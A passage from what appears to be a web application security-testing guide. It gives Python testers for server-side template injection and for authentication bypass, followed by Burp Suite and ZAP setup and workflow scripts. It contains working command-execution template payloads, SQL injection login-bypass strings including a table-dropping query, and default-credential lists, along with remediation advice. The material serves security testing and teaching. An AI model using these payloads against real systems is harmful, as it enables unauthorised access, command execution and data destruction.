'{{7*7}}',
'{{7*\'7\'}}',
'{{_self.env.registerUndefinedFilterCallback("exec")}}',
'{{_self.env.getFilter("cat /etc/passwd")}}',
'{{_self.env.registerUndefinedFilterCallback("system")}}',
'{{_self.env.getFilter("id;uname -a")}}'
],
'freemarker': [
'${7*7}',
'${7*7}',
'<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}',
'${"freemarker.template.utility.Execute"?new()("id")}'
],
'velocity': [
'#set($x=7*7)$x',
'#set($c=$x.class.forName("java.lang.Runtime"))',
'#set($rt=$c.getRuntime())',
'$rt.exec("id")'
],
'smarty': [
'{$smarty.version}',
'{php}echo "test";{/php}',
'{if phpinfo()}{/if}',
'{system(\'id\')}'
],
'handlebars': [
'{{7*7}}',
'{{#with "s" as |string|}}',
'{{#with "s"}}',
'{{#with "constructor"}}',
'{{#with (split)}}'
],
'mustache': [
'{{7*7}}',
'{{{7*7}}}',
'{{&7*7}}'
]
}
def test_injection(self, payloads):
"""Test for template injection vulnerabilities"""
results = []
# First, test detection payloads
detection_payloads = payloads['detection']
for payload in detection_payloads:
response = self.make_request(payload)
if response:
# Check if payload evaluated
if self.check_evaluation(response, payload):
results.append({
'type': 'detected',
'payload': payload,
'status_code': response.get('status_code'),
'engine': self.identify_engine(response, payloads)
})
self.vulnerabilities.append({
'type': 'Template Injection Detected',
'payload': payload,
'response': response.get('text', '')[:200]
})
# If detection successful, try engine-specific payloads
if results:
engine = results[0].get('engine', 'unknown')
if engine and engine in payloads:
engine_payloads = payloads[engine]
for payload in engine_payloads:
response = self.make_request(payload)
if response and self.check_execution(response, payload):
results.append({
'type': 'exploitation',
'engine': engine,
'payload': payload,
'status_code': response.get('status_code')
})
self.vulnerabilities.append({
'type': f'Template Injection Exploitation ({engine})',
'payload': payload,
'output': self.extract_output(response, payload)
})
return results
def make_request(self, payload):
"""Make HTTP request with payload"""
import urllib.parse
try:
if self.method.upper() == 'GET':
url = f"{self.target_url}?{self.param_name}={urllib.parse.quote(payload)}"
response = requests.get(url, timeout=5)
else:
data = {self.param_name: payload}
response = requests.post(self.target_url, data=data, timeout=5)
return {
'status_code': response.status_code,
'text': response.text,
'headers': dict(response.headers),
'url': response.url
}
except Exception as e:
return None
def check_evaluation(self, response, payload):
"""Check if template was evaluated"""
# If payload appears exactly as sent, it wasn't evaluated
if payload in response.get('text', ''):
# But if it's 49 (7*7) instead of {{7*7}}, it was evaluated
if '{{7*7}}' in payload and '49' in response.get('text', ''):
return True
elif '${7*7}' in payload and '49' in response.get('text', ''):
return True
else:
return False
else:
# Payload not in response - might have been evaluated
return True
def identify_engine(self, response, payloads):
"""Attempt to identify template engine"""
response_text = response.get('text', '')
# Check for 49 (7*7 evaluation)
if '49' in response_text:
# Could be any engine that evaluates math
# Try engine-specific indicators
for engine, engine_payloads in payloads.items():
if engine == 'detection':
continue
for payload in engine_payloads[:3]: # Check first few
test_response = self.make_request(payload)
if test_response and self.check_execution(test_response, payload):
return engine
# Check for specific error messages
error_indicators = {
'jinja2': ['jinja2', 'UndefinedError', 'TemplateSyntaxError'],
'twig': ['Twig', 'Twig_Error'],
'smarty': ['Smarty', 'smarty error'],
'freemarker': ['FreeMarker', 'freemarker'],
'velocity': ['Velocity', 'org.apache.velocity']
}
for engine, indicators in error_indicators.items():
for indicator in indicators:
if indicator.lower() in response_text.lower():
return engine
return 'unknown'
def check_execution(self, response, payload):
"""Check if payload resulted in command execution"""
response_text = response.get('text', '')
# Check for command output indicators
indicators = [
'uid=', 'gid=', 'root:', 'bin/bash', 'Linux',
'Directory of', 'Volume in drive', 'Microsoft Windows',
'Load Average', 'up time', 'users logged'
]
for indicator in indicators:
if indicator in response_text:
return True
return False
def extract_output(self, response, payload):
"""Extract command output from response"""
response_text = response.get('text', '')
# Try to find output between markers or just return clean response
if 'START_TOKEN' in payload and 'END_TOKEN' in payload:
# Extract between tokens
pattern = r'START_TOKEN(.*?)END_TOKEN'
match = re.search(pattern, response_text, re.DOTALL)
if match:
return match.group(1).strip()
return response_text[:500] # Return first 500 chars
def generate_report(self):
"""Generate template injection report"""
report = {
'total_vulnerabilities': len(self.vulnerabilities),
'vulnerabilities': self.vulnerabilities,
'recommendations': [
"Avoid user input in templates",
"Use sandboxed template engines",
"Implement strict input validation",
"Disable dangerous template features",
"Keep template engines updated",
"Use context-aware escaping",
"Implement content security policy"
]
}
return report
# Example usage
tester = TemplateInjectionTester('https://example.com/profile', 'name')
payloads = tester.generate_payloads()
results = tester.test_injection(payloads)
if results:
print(f"\n[!] Template injection detected!")
for result in results:
print(f" - {result['type']}: {result.get('engine', 'unknown')} - {result['payload']}")
report = tester.generate_report()
print(json.dumps(report, indent=2))Authentication bypass vulnerabilities allow attackers to circumvent login mechanisms and gain unauthorized access.
#!/usr/bin/env python3
# auth_bypass_comprehensive.py
import requests
import hashlib
import base64
import urllib.parse
from bs4 import BeautifulSoup
class AuthenticationBypassTester:
def __init__(self, login_url, username_field='username', password_field='password'):
self.login_url = login_url
self.username_field = username_field
self.password_field = password_field
self.session = requests.Session()
self.vulnerabilities = []
def test_sql_injection_auth_bypass(self):
"""Test SQL injection in login form"""
payloads = [
# Basic bypass
("' OR '1'='1", "' OR '1'='1"),
("admin'--", "anything"),
("admin' #", "anything"),
("' OR 1=1--", "anything"),
("' OR 1=1#", "anything"),
("' OR '1'='1'--", "anything"),
("' OR '1'='1'#", "anything"),
# UNION-based
("' UNION SELECT 1,1,'admin','password'--", "anything"),
# Comment variations
("admin'/*", "anything"),
("admin';--", "anything"),
("admin' OR 1=1 LIMIT 1--", "anything"),
("admin' OR 1=1 LIMIT 1#", "anything"),
# Multiple quotes
("'' OR '1'='1", "'' OR '1'='1"),
("''''''''' OR '1'='1", "anything"),
# Time-based (blind)
("' OR SLEEP(5)--", "anything"),
("'; WAITFOR DELAY '0:0:5'--", "anything"),
# Stacked queries
("admin'; DROP TABLE users--", "anything"),
# Alternative syntax
("\" OR \"1\"=\"1", "\" OR \"1\"=\"1"),
("\" OR 1=1--", "anything"),
("\" OR 1=1#", "anything"),
# Boolean-based
("' AND 1=1 UNION SELECT 1, 'admin', 'password'--", "anything"),
# Error-based
("' AND 1=CONVERT(int, @@version)--", "anything"),
# Blind boolean
("' AND '1'='1", "' AND '1'='1"),
("' AND '1'='2", "' AND '1'='2")
]
results = []
for username, password in payloads:
data = {
self.username_field: username,
self.password_field: password
}
try:
response = self.session.post(self.login_url, data=data, allow_redirects=False)
# Check if login successful
if self.is_login_successful(response):
results.append({
'technique': 'SQL Injection',
'username': username,
'password': password,
'status_code': response.status_code
})
self.vulnerabilities.append({
'type': 'SQL Injection Auth Bypass',
'payload': f"{username}:{password}"
})
except Exception as e:
print(f"Error: {e}")
return results
def test_default_credentials(self):
"""Test common default credentials"""
defaults = [
# Common combinations
('admin', 'admin'),
('admin', 'password'),
('admin', '123456'),
('administrator', 'administrator'),
('root', 'root'),
('root', 'toor'),
('user', 'user'),
('test', 'test'),
('guest', 'guest'),
('demo', 'demo'),
# Empty passwords
('admin', ''),
('administrator', ''),
('root', ''),
# Common service defaults
('tomcat', 'tomcat'),
('jenkins', 'jenkins'),
('postgres', 'postgres'),
('mysql', 'mysql'),
('oracle', 'oracle'),
('weblogic', 'weblogic'),
('jboss', 'jboss'),
('glassfish', 'glassfish'),
# Device defaults
('cisco', 'cisco'),
('cisco', 'password'),
('netgear', 'password'),
('linksys', 'admin'),
('dlink', 'admin'),
('ubnt', 'ubnt'),
# Application defaults
('wpadmin', 'wpadmin'),
('wordpress', 'wordpress'),
('joomla', 'joomla'),
('drupal', 'drupal'),
('magento', 'magento'),
# Numeric patterns
('admin', '12345'),
('admin', '12345678'),
('admin', '111111'),
('admin', '000000'),
# Common words
('admin', 'qwerty'),
('admin', 'abc123'),
('admin', 'password123'),
('admin', 'letmein'),
('admin', 'welcome'),
('admin', 'monkey'),
('admin', 'dragon')
]
results = []
for username, password in defaults:
data = {
self.username_field: username,
self.password_field: password
}
try:
response = self.session.post(self.login_url, data=data, allow_redirects=False)
if self.is_login_successful(response):
results.append({
'technique': 'Default Credentials',
'username': username,
'password': password,
'status_code': response.status_code
})
self.vulnerabilities.append({
'type': 'Default Credentials',
'credentials': f"{username}:{password}"
})
except:
pass
return results
def test_weak_password_policy(self):
"""Test for weak password policy"""
weak_passwords = [
'123456', 'password', '12345678', 'qwerty', 'abc123',
'123456789', '111111', '1234567', 'iloveyou', 'adobe123',
'123123', 'admin', '1234567890', 'letmein', 'photoshop',
'1234', 'monkey', 'shadow', 'sunshine', '12345',
'password1', 'princess', 'azerty', 'trustno1', '000000'
]
results = []
# Create a test account first (in a real test, you'd register first)
# Here we're just testing if the server accepts weak passwords
for password in weak_passwords:
# This would test password change functionality
# Simplified version
pass
return results
def test_parameter_tampering(self):
"""Test parameter tampering in authentication"""
tampering_tests = [
# Modify parameter names
{'username': 'admin', 'password': 'anything', 'admin': 'true'},
{'username': 'admin', 'password': 'anything', 'is_admin': '1'},
{'username': 'admin', 'password': 'anything', 'role': 'admin'},
{'username': 'admin', 'password': 'anything', 'user_type': 'administrator'},
{'username': 'admin', 'password': 'anything', 'authenticated': 'true'},
# Add unexpected parameters
{'username': 'admin', 'password': 'anything', 'debug': 'true'},
{'username': 'admin', 'password': 'anything', 'test': 'true'},
# Parameter pollution
{'username': ['admin', 'admin'], 'password': 'anything'},
{'username': 'admin', 'password': ['anything', 'anything']},
# Remove parameters
{'username': 'admin'}, # No password
{'password': 'anything'}, # No username
# Empty values
{'username': '', 'password': ''},
{'username': 'admin', 'password': ''},
{'username': '', 'password': 'anything'},
# Whitespace
{'username': ' admin ', 'password': ' anything '},
{'username': 'admin', 'password': 'anything', 'token': ' '}
]
results = []
for test_data in tampering_tests:
try:
response = self.session.post(self.login_url, data=test_data, allow_redirects=False)
if self.is_login_successful(response):
results.append({
'technique': 'Parameter Tampering',
'data': test_data,
'status_code': response.status_code
})
self.vulnerabilities.append({
'type': 'Parameter Tampering',
'data': str(test_data)
})
except:
pass
return results
def test_http_method_tampering(self):
"""Test HTTP method tampering"""
methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']
results = []
base_data = {
self.username_field: 'admin',
self.password_field: 'anything'
}
for method in methods:
try:
if method == 'GET':
response = self.session.get(self.login_url, params=base_data, allow_redirects=False)
elif method == 'POST':
response = self.session.post(self.login_url, data=base_data, allow_redirects=False)
elif method == 'PUT':
response = self.session.put(self.login_url, data=base_data, allow_redirects=False)
elif method == 'PATCH':
response = self.session.patch(self.login_url, data=base_data, allow_redirects=False)
elif method == 'DELETE':
response = self.session.delete(self.login_url, data=base_data, allow_redirects=False)
elif method == 'HEAD':
response = self.session.head(self.login_url, params=base_data)
elif method == 'OPTIONS':
response = self.session.options(self.login_url)
if method in ['HEAD', 'OPTIONS']:
continue
if self.is_login_successful(response):
results.append({
'technique': 'HTTP Method Tampering',
'method': method,
'status_code': response.status_code
})
self.vulnerabilities.append({
'type': 'HTTP Method Tampering',
'method': method
})
except:
pass
return results
def test_session_cookie_weakness(self):
"""Test for weak session cookie generation"""
# First, login normally
data = {
self.username_field: 'test_user',
self.password_field: 'test_pass'
}
response = self.session.post(self.login_url, data=data)
# Collect session cookies
cookies = self.session.cookies.get_dict()
results = {}
for name, value in cookies.items():
results[name] = {
'value': value,
'length': len(value),
'entropy': self.calculate_entropy(value)
}
# Check for weak patterns
if value.isdigit():
self.vulnerabilities.append({
'type': 'Weak Session Cookie',
'cookie': name,
'issue': 'Numeric session ID'
})
elif len(value) < 16:
self.vulnerabilities.append({
'type': 'Weak Session Cookie',
'cookie': name,
'issue': 'Short session ID'
})
elif value in ['1', '0', 'true', 'false', 'admin']:
self.vulnerabilities.append({
'type': 'Weak Session Cookie',
'cookie': name,
'issue': 'Predictable session value'
})
return results
def calculate_entropy(self, value):
"""Calculate simple entropy of cookie value"""
import math
# Count character frequencies
freq = {}
for c in value:
freq[c] = freq.get(c, 0) + 1
# Calculate entropy
entropy = 0
length = len(value)
for count in freq.values():
probability = count / length
entropy -= probability * math.log2(probability)
return round(entropy, 2)
def test_remember_me_functionality(self):
"""Test remember me functionality security"""
data = {
self.username_field: 'test_user',
self.password_field: 'test_pass',
'remember': 'on'
}
response = self.session.post(self.login_url, data=data)
# Check if persistent cookie is set
cookies = self.session.cookies.get_dict()
remember_cookies = []
for name, value in cookies.items():
if 'remember' in name.lower() or 'persist' in name.lower():
remember_cookies.append({'name': name, 'value': value})
# Test for weak persistence token
if len(value) < 32:
self.vulnerabilities.append({
'type': 'Weak Remember Me Token',
'cookie': name,
'length': len(value)
})
return remember_cookies
def test_2fa_bypass(self):
"""Test for 2FA bypass techniques"""
bypass_techniques = [
# OTP in response
('response_contains_otp', None),
# OTP reuse
('reuse_otp', None),
# OTP brute force
('brute_force_otp', range(0, 1000000, 10000)), # Sample every 10000
# Backup code abuse
('backup_codes', None),
# OAuth bypass
('oauth_bypass', '&prompt=none'),
# Session manipulation
('session_bypass', None)
]
results = []
# This would require a multi-step process
# Simplified for demonstration
return results
def is_login_successful(self, response):
"""Determine if login was successful"""
# Check for redirect after login
if response.status_code in [301, 302, 303, 307, 308]:
location = response.headers.get('Location', '')
if 'dashboard' in location or 'home' in location or 'profile' in location:
return True
# Check response content for success indicators
success_indicators = [
'welcome', 'dashboard', 'logout', 'profile',
'login successful', 'authenticated', 'logged in'
]
response_text = response.text.lower()
for indicator in success_indicators:
if indicator in response_text:
return True
# Check for absence of login form
if 'login' not in response_text and 'sign in' not in response_text:
if response.status_code == 200:
return True
return False
def generate_report(self):
"""Generate authentication bypass report"""
report = {
'total_vulnerabilities': len(self.vulnerabilities),
'vulnerabilities': self.vulnerabilities,
'recommendations': [
"Implement strong password policies",
"Use multi-factor authentication",
"Rate limit login attempts",
"Implement account lockout",
"Use secure session management",
"Validate all input server-side",
"Use parameterized queries",
"Implement CSRF tokens",
"Use HTTPS everywhere",
"Regular security audits"
]
}
return report
# Example usage
tester = AuthenticationBypassTester('https://example.com/login')
print("[*] Testing SQL injection auth bypass...")
sql_results = tester.test_sql_injection_auth_bypass()
print("[*] Testing default credentials...")
default_results = tester.test_default_credentials()
print("[*] Testing parameter tampering...)
param_results = tester.test_parameter_tampering()
print("[*] Testing HTTP method tampering...")
method_results = tester.test_http_method_tampering()
print("[*] Testing session cookie strength...")
cookie_results = tester.test_session_cookie_weakness()
if tester.vulnerabilities:
print(f"\n[!] Found {len(tester.vulnerabilities)} authentication vulnerabilities:")
for vuln in tester.vulnerabilities:
print(f" - {vuln['type']}: {vuln.get('credentials', vuln.get('issue', ''))}")
report = tester.generate_report()
print(json.dumps(report, indent=2))This chapter covers the essential tools for web application security testing, from intercepting proxies to specialized vulnerability scanners.
Burp Suite is the industry standard for web application security testing, providing a comprehensive platform for manual and automated testing.
Burp Suite consists of multiple integrated tools that work together to support the entire testing process:
Core Components:
- Proxy: Intercepts HTTP/HTTPS traffic between browser and target
- Spider: Crawls web applications to discover content
- Scanner: Automated vulnerability scanner (Pro version)
- Intruder: Powerful tool for automated customized attacks
- Repeater: Manual request manipulation and replay
- Sequencer: Analyzes session token randomness
- Decoder: Transforms encoded data
- Comparer: Performs visual comparisons of data
- Extender: Allows custom extensions and plugins
Installation and Configuration:
# Download Burp Suite from PortSwigger
# Community edition is free and sufficient for learning
# Java requirement
apt install openjdk-11-jre
# Run Burp Suite
java -jar burpsuite_community.jar
# Alternative: Use Kali's package
apt install burpsuiteBrowser Configuration:
#!/usr/bin/env python3
# burp_config.py
import subprocess
import os
import json
class BurpConfigurator:
def __init__(self):
self.burp_host = '127.0.0.1'
self.burp_port = 8080
def configure_firefox(self, profile_path=None):
"""Configure Firefox to use Burp proxy"""
if not profile_path:
# Find Firefox profile
firefox_profiles = os.path.expanduser('~/.mozilla/firefox/*.default*')
import glob
profiles = glob.glob(firefox_profiles)
if profiles:
profile_path = profiles[0]
if profile_path:
# Create prefs.js with proxy settings
prefs_file = os.path.join(profile_path, 'prefs.js')
with open(prefs_file, 'a') as f:
f.write(f'''
user_pref("network.proxy.http", "{self.burp_host}");
user_pref("network.proxy.http_port", {self.burp_port});
user_pref("network.proxy.ssl", "{self.burp_host}");
user_pref("network.proxy.ssl_port", {self.burp_port});
user_pref("network.proxy.type", 1);
user_pref("network.proxy.no_proxies_on", "");
user_pref("security.enterprise_roots.enabled", true);
''')
print(f"[+] Firefox configured to use Burp proxy at {self.burp_host}:{self.burp_port}")
def configure_chrome(self):
"""Launch Chrome with Burp proxy"""
chrome_cmd = [
'google-chrome',
f'--proxy-server=http://{self.burp_host}:{self.burp_port}',
'--ignore-certificate-errors',
'--user-data-dir=/tmp/chrome-burp'
]
print(f"[+] Launching Chrome with proxy configuration")
subprocess.Popen(chrome_cmd)
def install_certificate(self, cert_path=None):
"""Install Burp certificate in browser"""
if not cert_path:
# Download certificate from Burp
import requests
cert_url = f'http://{self.burp_host}:{self.burp_port}/cert'
response = requests.get(cert_url)
if response.status_code == 200:
cert_path = '/tmp/burp.der'
with open(cert_path, 'wb') as f:
f.write(response.content)
# Install certificate (platform-specific)
if os.path.exists(cert_path):
if os.name == 'posix':
# Linux - import to system trust store
subprocess.run(['sudo', 'cp', cert_path, '/usr/local/share/ca-certificates/burp.crt'])
subprocess.run(['sudo', 'update-ca-certificates'])
print("[+] Burp certificate installed system-wide")
else:
print(f"[*] Install certificate manually from {cert_path}")
# Example usage
config = BurpConfigurator()
config.configure_firefox()
config.configure_chrome()
config.install_certificate()Basic Testing Workflow:
#!/usr/bin/env python3
# burp_workflow.py
class BurpWorkflow:
def __init__(self):
self.target_scope = []
self.issues = []
def define_scope(self, target_urls):
"""Define target scope in Burp"""
for url in target_urls:
self.target_scope.append({
'url': url,
'in_scope': True,
'include_subdomains': True
})
print(f"[+] Defined scope with {len(self.target_scope)} targets")
return self.target_scope
def passive_scan_phase(self):
"""Passive scanning phase - just browse the application"""
steps = [
"1. Configure browser proxy to Burp",
"2. Browse the application normally",
"3. Click all links and submit all forms",
"4. Test different user roles if applicable",
"5. Check all functionality while Burp captures traffic",
"6. Review Site Map for discovered content",
"7. Note interesting parameters and endpoints"
]
print("\n[*] Passive Scan Phase:")
for step in steps:
print(f" {step}")
def active_scan_phase(self):
"""Active scanning phase - use Burp Scanner (Pro)"""
if self.has_pro_version():
steps = [
"1. Right-click on interesting items in Site Map",
"2. Select 'Actively scan this branch'",
"3. Configure scan settings",
"4. Monitor scan progress in Scanner tab",
"5. Review generated issues"
]
else:
steps = [
"1. Manual testing with Repeater and Intruder",
"2. Use Scanner in community edition for passive scanning only",
"3. Focus on manual vulnerability discovery"
]
print("\n[*] Active Scan Phase:")
for step in steps:
print(f" {step}")
def manual_testing_phase(self):
"""Manual testing with Burp tools"""
tests = [
{
'tool': 'Repeater',
'purpose': 'Manual request manipulation',
'actions': [
'Modify parameters and observe responses',
'Test for injection vulnerabilities',
'Manipulate cookies and headers',
'Test parameter tampering'
]
},
{
'tool': 'Intruder',
'purpose': 'Automated attacks',
'actions': [
'Brute force login forms',
'Enumerate directories and files',
'Fuzz parameters for vulnerabilities',
'Test for IDOR by enumerating IDs'
]
},
{
'tool': 'Sequencer',
'purpose': 'Token analysis',
'actions': [
'Capture session tokens',
'Analyze randomness',
'Check for predictable patterns'
]
},
{
'tool': 'Decoder',
'purpose': 'Data transformation',
'actions': [
'Decode/encode URL, Base64, HTML',
'Decrypt/encrypt data',
'Convert between formats'
]
}
]
print("\n[*] Manual Testing Phase:")
for test in tests:
print(f"\n {test['tool']} - {test['purpose']}")
for action in test['actions']:
print(f" • {action}")
def extension_phase(self):
"""Use Burp Extensions"""
useful_extensions = [
'Active Scan++ - Enhanced scanning',
'Autorize - Authorization testing',
'Backslash Powered Scanner - Advanced scanning',
'Collaborator Everywhere - OAST detection',
'Content Type Converter - Request conversion',
'CSRF Scanner - CSRF detection',
'Decoder Improved - Enhanced decoding',
'Hackvertor - Custom encoding/decoding',
'JSON Web Tokens - JWT testing',
'Logger++ - Enhanced logging',
'Retire.js - JavaScript library vulnerabilities',
'Turbo Intruder - High-speed Intruder'
]
print("\n[*] Useful Burp Extensions:")
for ext in useful_extensions:
print(f" • {ext}")
def reporting_phase(self):
"""Generate reports"""
report_types = [
'HTML Report - Detailed findings with descriptions',
'XML Report - Machine-readable format',
'CSV Report - Spreadsheet format',
'Issue Activity - Real-time issue log'
]
print("\n[*] Reporting Phase:")
for report in report_types:
print(f" • {report}")
def has_pro_version(self):
"""Check if using Pro version"""
# In practice, would check Burp's API
return False
def run_full_assessment(self, target_urls):
"""Run complete Burp assessment workflow"""
print("=" * 60)
print("BURP SUITE COMPREHENSIVE ASSESSMENT WORKFLOW")
print("=" * 60)
self.define_scope(target_urls)
self.passive_scan_phase()
self.active_scan_phase()
self.manual_testing_phase()
self.extension_phase()
self.reporting_phase()
print("\n" + "=" * 60)
print("ASSESSMENT WORKFLOW COMPLETE")
print("=" * 60)
# Example usage
workflow = BurpWorkflow()
workflow.run_full_assessment(['https://example.com'])#!/usr/bin/env python3
# burp_intruder.py
class BurpIntruderAttacks:
def __init__(self):
self.attack_types = {
'sniper': 'Single payload set, one payload per request',
'battering_ram': 'Single payload set, same payload in all positions',
'pitchfork': 'Multiple payload sets, used in parallel',
'cluster_bomb': 'Multiple payload sets, used in combination'
}
def sniper_attack(self, positions, payloads):
"""Sniper attack - tests each position with each payload"""
print(f"[*] Sniper Attack: {len(positions)} positions × {len(payloads)} payloads = {len(positions) * len(payloads)} requests")
requests_count = 0
for position in positions:
for payload in payloads:
requests_count += 1
return {
'type': 'sniper',
'positions': len(positions),
'payloads': len(payloads),
'total_requests': requests_count,
'use_case': 'Testing one parameter at a time, like password brute force'
}
def battering_ram_attack(self, positions, payloads):
"""Battering ram - uses same payload in all positions"""
print(f"[*] Battering Ram Attack: {len(payloads)} payloads, {len(positions)} positions per request")
return {
'type': 'battering_ram',
'payloads': len(payloads),
'total_requests': len(payloads),
'use_case': 'Testing same value in multiple parameters, like CSRF token bypass'
}
def pitchfork_attack(self, payload_sets):
"""Pitchfork - parallel payload sets"""
# Find minimum length among payload sets
min_length = min(len(p) for p in payload_sets)
print(f"[*] Pitchfork Attack: {len(payload_sets)} payload sets, {min_length} requests")
return {
'type': 'pitchfork',
'payload_sets': len(payload_sets),
'total_requests': min_length,
'use_case': 'Credential stuffing with username:password pairs'
}
def cluster_bomb_attack(self, payload_sets):
"""Cluster bomb - combinatorial attack"""
# Calculate total combinations
total = 1
for p in payload_sets:
total *= len(p)
print(f"[*] Cluster Bomb Attack: {len(payload_sets)} payload sets, {total} requests")
return {
'type': 'cluster_bomb',
'payload_sets': len(payload_sets),
'total_requests': total,
'use_case': 'Comprehensive parameter fuzzing, directory brute force'
}
def generate_payloads(self, attack_type):
"""Generate appropriate payloads based on attack type"""
payloads = {
'sniper': ['admin', 'root', 'user', 'test'],
'battering_ram': ['admin', 'true', '1', 'yes'],
'pitchfork': {
'usernames': ['admin', 'root', 'user'],
'passwords': ['password', '123456', 'admin']
},
'cluster_bomb': {
'parameters': ['id', 'user_id', 'uid'],
'values': ['1', '2', '3', '4', '5']
}
}
return payloads.get(attack_type, [])
def suggest_attack(self, test_scenario):
"""Suggest appropriate attack type for scenario"""
scenarios = {
'password_bruteforce': 'sniper',
'username_enumeration': 'sniper',
'credential_stuffing': 'pitchfork',
'parameter_fuzzing': 'cluster_bomb',
'csrf_token_bruteforce': 'battering_ram',
'idor_enumeration': 'sniper',
'directory_bruteforce': 'cluster_bomb',
'subdomain_bruteforce': 'sniper',
'api_endpoint_fuzzing': 'cluster_bomb'
}
return scenarios.get(test_scenario, 'sniper')
# Example usage
intruder = BurpIntruderAttacks()
scenarios = ['password_bruteforce', 'credential_stuffing', 'parameter_fuzzing']
for scenario in scenarios:
attack = intruder.suggest_attack(scenario)
print(f"\n[+] {scenario}: Use {attack} attack")
if attack == 'sniper':
result = intruder.sniper_attack(['username'], ['admin', 'root', 'user'])
elif attack == 'pitchfork':
result = intruder.pitchfork_attack([['admin', 'root'], ['password', '123456']])
elif attack == 'cluster_bomb':
result = intruder.cluster_bomb_attack([['id', 'uid'], ['1', '2', '3']])
elif attack == 'battering_ram':
result = intruder.battering_ram_attack(['param1', 'param2'], ['test', '1', 'true'])
print(f" {result['total_requests']} requests - {result['use_case']}")OWASP Zed Attack Proxy (ZAP) is a free, open-source web application security scanner maintained by OWASP.
#!/usr/bin/env python3
# zap_config.py
import subprocess
import time
import requests
import json
class ZAPConfigurator:
def __init__(self, zap_host='localhost', zap_port=8080):
self.zap_host = zap_host
self.zap_port = zap_port
self.zap_api_key = None
self.zap_url = f"http://{zap_host}:{zap_port}"
def start_zap(self):
"""Start ZAP daemon"""
# Start ZAP in daemon mode
cmd = [
'zap.sh',
'-daemon',
'-port', str(self.zap_port),
'-host', self.zap_host,
'-config', 'api.disablekey=true', # For testing only
'-config', 'api.addrs.addr.name=.*',
'-config', 'api.addrs.addr.regex=true'
]
print(f"[*] Starting ZAP daemon on {self.zap_host}:{self.zap_port}")
self.process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Wait for ZAP to start
time.sleep(10)
# Check if ZAP is running
try:
response = requests.get(f"{self.zap_url}/JSON/core/view/version/")
if response.status_code == 200:
print(f"[+] ZAP started successfully - Version: {response.json().get('version', 'unknown')}")
return True
except:
print("[-] Failed to start ZAP")
return False
def stop_zap(self):
"""Stop ZAP daemon"""
try:
requests.get(f"{self.zap_url}/JSON/core/action/shutdown/")
self.process.terminate()
print("[+] ZAP stopped")
except:
print("[-] Error stopping ZAP")
def configure_scope(self, target_url):
"""Configure scan scope"""
# Include in scope
response = requests.get(
f"{self.zap_url}/JSON/context/action/includeInContext/",
params={
'contextName': 'Default Context',
'regex': f'.*{target_url}.*'
}
)
if response.status_code == 200:
print(f"[+] {target_url} added to scope")
# Enable scanners
requests.get(
f"{self.zap_url}/JSON/pscan/action/enableAllScanners/"
)
requests.get(
f"{self.zap_url}/JSON/ascan/action/enableAllScanners/"
)
def set_session(self, session_name):
"""Set ZAP session name"""
response = requests.get(
f"{self.zap_url}/JSON/core/action/newSession/",
params={'name': session_name, 'overwrite': 'true'}
)
if response.status_code == 200:
print(f"[+] New session created: {session_name}")
class ZAPAutomation:
def __init__(self, zap_config):
self.zap = zap_config
self.alerts = []
def spider_scan(self, target_url, max_children=10):
"""Perform spider scan"""
print(f"[*] Starting spider scan on {target_url}")
# Start spider
response = requests.get(
f"{self.zap.zap_url}/JSON/spider/action/scan/",
params={
'url': target_url,
'maxChildren': max_children,
'contextName': 'Default Context'
}
)
if response.status_code != 200:
print("[-] Failed to start spider")
return None
scan_id = response.json().get('scan')
# Monitor progress
while True:
status_response = requests.get(
f"{self.zap.zap_url}/JSON/spider/view/status/",
params={'scanId': scan_id}
)
if status_response.status_code == 200:
status = status_response.json().get('status')
print(f" Spider progress: {status}%")
if status == '100':
break
time.sleep(2)
# Get results
results_response = requests.get(
f"{self.zap.zap_url}/JSON/spider/view/results/",
params={'scanId': scan_id}
)
if results_response.status_code == 200:
urls = results_response.json().get('urls', [])
print(f"[+] Spider found {len(urls)} URLs")
return urls
return None
def active_scan(self, target_url):
"""Perform active scan"""
print(f"[*] Starting active scan on {target_url}")
# Start active scan
response = requests.get(
f"{self.zap.zap_url}/JSON/ascan/action/scan/",
params={
'url': target_url,
'recurse': 'true',
'inScopeOnly': 'true',
'scanPolicyName': 'Default Policy'
}
)
if response.status_code != 200:
print("[-] Failed to start active scan")
return None
scan_id = response.json().get('scan')
# Monitor progress
while True:
status_response = requests.get(
f"{self.zap.zap_url}/JSON/ascan/view/status/",
params={'scanId': scan_id}
)
if status_response.status_code == 200:
status = status_response.json().get('status')
print(f" Active scan progress: {status}%")
if status == '100':
break
time.sleep(5)
# Get alerts
alerts_response = requests.get(
f"{self.zap.zap_url}/JSON/core/view/alerts/",
params={'baseurl': target_url}
)
if alerts_response.status_code == 200:
alerts = alerts_response.json().get('alerts', [])
self.alerts.extend(alerts)
print(f"[+] Active scan found {len(alerts)} alerts")
return alerts
return None
def ajax_spider(self, target_url):
"""Use AJAX spider for modern web apps"""
print(f"[*] Starting AJAX spider on {target_url}")
response = requests.get(
f"{self.zap.zap_url}/JSON/ajaxSpider/action/scan/",
params={'url': target_url}
)
if response.status_code != 200:
print("[-] Failed to start AJAX spider")
return None
# Monitor progress
while True:
status_response = requests.get(
f"{self.zap.zap_url}/JSON/ajaxSpider/view/status/"
)
if status_response.status_code == 200:
status = status_response.json().get('status')
print(f" AJAX spider: {status}")
if status == 'stopped':
break
time.sleep(2)
# Get results
results_response = requests.get(
f"{self.zap.zap_url}/JSON/ajaxSpider/view/results/",
params={'start': '0', 'count': '100'}
)
if results_response.status_code == 200:
urls = results_response.json().get('results', [])
print(f"[+] AJAX spider found {len(urls)} URLs")
return urls
return None
def passive_scan_wait(self, timeout=300):
"""Wait for passive scan to complete"""
print("[*] Waiting for passive scan to complete...")
start_time = time.time()
while time.time() - start_time < timeout:
response = requests.get(
f"{self.zap.zap_url}/JSON/pscan/view/recordsToScan/"
)
if response.status_code == 200:
remaining = int(response.json().get('recordsToScan', 0))
print(f" Passive scan remaining: {remaining} records")
if remaining == 0:
print("[+] Passive scan complete")
return True
time.sleep(5)
print("[-] Passive scan timeout")
return False
def generate_report(self, output_file='zap_report.html'):
"""Generate HTML report"""
response = requests.get(
f"{self.zap.zap_url}/OTHER/core/other/htmlreport/"
)
if response.status_code == 200:
with open(output_file, 'w') as f:
f.write(response.text)
print(f"[+] Report saved to {output_file}")
def get_alerts_summary(self):
"""Get summary of alerts by risk level"""
summary = {
'High': 0,
'Medium': 0,
'Low': 0,
'Informational': 0
}
for alert in self.alerts:
